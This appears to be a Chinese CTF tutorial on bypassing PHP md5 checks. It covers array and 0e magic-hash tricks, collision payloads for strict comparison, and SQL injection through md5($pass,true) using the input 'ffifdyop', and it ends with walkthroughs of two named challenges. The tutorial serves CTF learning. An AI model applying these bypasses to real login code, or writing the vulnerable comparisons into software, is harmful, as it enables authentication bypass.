一、什么是md5
一种运用与密码的函数
二、类型
1.弱比较(==)
(1)例如
<?php
highlight_file(__FILE__);
error_reporting(0);
$flag = "flag{H3rmesk1t_is_a_loser}";
$val1 = $_GET['val1'];
$val2 = $_GET['val2'];
if (isset($_GET['val1']) and isset($_GET['val2']))
{
if ($_GET['val1'] != $_GET['val2'])
{
if ((md5($_GET['val1']) == md5($_GET['val2'])))
echo $flag;
else
echo "you can't get flag";
}
}
?>
(2)绕过方法
1>数组绕过
md5不能加密数组,会返回null
例如
$a=$_GET['a'];
$b=$_GET['b'];
md5($a)==md5($b)
?a[]=1&b[]=2
2>科学计数法(0E)绕过
在php中,0e开头的数字会当作科学计数法解析
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
例如
$a=$_GET['a'];
$b=$_GET['b'];
md5($a)==md5($b)
?a=QNKCDZO&b=240610708
$a=$_GET['a'];
$a==md5($a);
?a=0e215962017
2.强比较(===)
(1)md5值完全相同的字符绕过
$a=$_GET['a'];
$b=$_GET['b'];
md5($a)===md5($b)
?a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
(2)数组绕过
与弱比较相同
(3)md5($pass,true)的注入
1>当数字和字符串比较时,若字符串的数字部分(需要从头开始)和数字是相同的,那么则返回的是true。
select if(1="1abcd","等于","不等于") as test;
20201014141938298265.png
if(exp1,stat1,stat2)类似于高级语言中三元运算符。当exp1为true的是否返回stat1,为false返回stat2。
2>以数字开头的字符串,若开头的字符不是0,那么在做逻辑运算的时候返回的是1,也就是true。
select * from user where password =''or'1234a';
php md5($pass,true) 的漏洞:
select * from user where password = md5($pass,true);
20201014141938351973.png
可以看到raw参数是True,为返回原始16字符二进制格式。
也就是说当md5函数的第二个参数为true时,该函数的输出是原始二进制格式,会被作为字符串处理。
如果构造一个'or'xxx'的密码,只要后面的字符串为真即可。那么可以根据32位16进制的字符串来查找,'or'对应的16进制是276f7227,所以目标就是要找一个字符串,取32位16进制的md5值里带有276f7227这个字段的,在276f7227这个字段后面紧跟一个数字(除了0)1-9,对应的asc码值是49-57,转化为16进制就是31-39,也就是含有276f7227+(31-39)这个字段,就可以满足要求。
则拼接后构成的SQL语句为:
select * from user where password=''or'1asodijfoi';
select * from user where password=''or'1abcdefg' ---> True
select * from user where password=''or'0abcdefg' ---> False
select * from user where password=''or'1' ---> True
select * from user where password=''or'2' ---> True
select * from user where password=''or'0' ---> False
只要'or'后面的字符串为一个非零的数字开头都会返回True,这就是突破点。
练习
[BJDCTF 2020]easy_md5
搜索发现这里需要对其进行注入,也就是属于md5($pass,true)的注入类型,传入?password=ffifdyop得到这样一个界面
查看源代码,发现还有一组md5的弱比较
数组绕过后,出现新的界面,是强类型,而且是POST传参
得到flag
[NSSCTF 2022 Spring Recruit]babyphp
可以看到是POST传参,a有一个正则表达;b1,b2是md5强比较;检查c1,c2是否为字符串并进行md5弱比较
go on说明已经绕过,可以继续
出现yee说明上面都已经绕过,还差c,要求是字符串而且还是弱比较,说明只能0e绕过
得到flag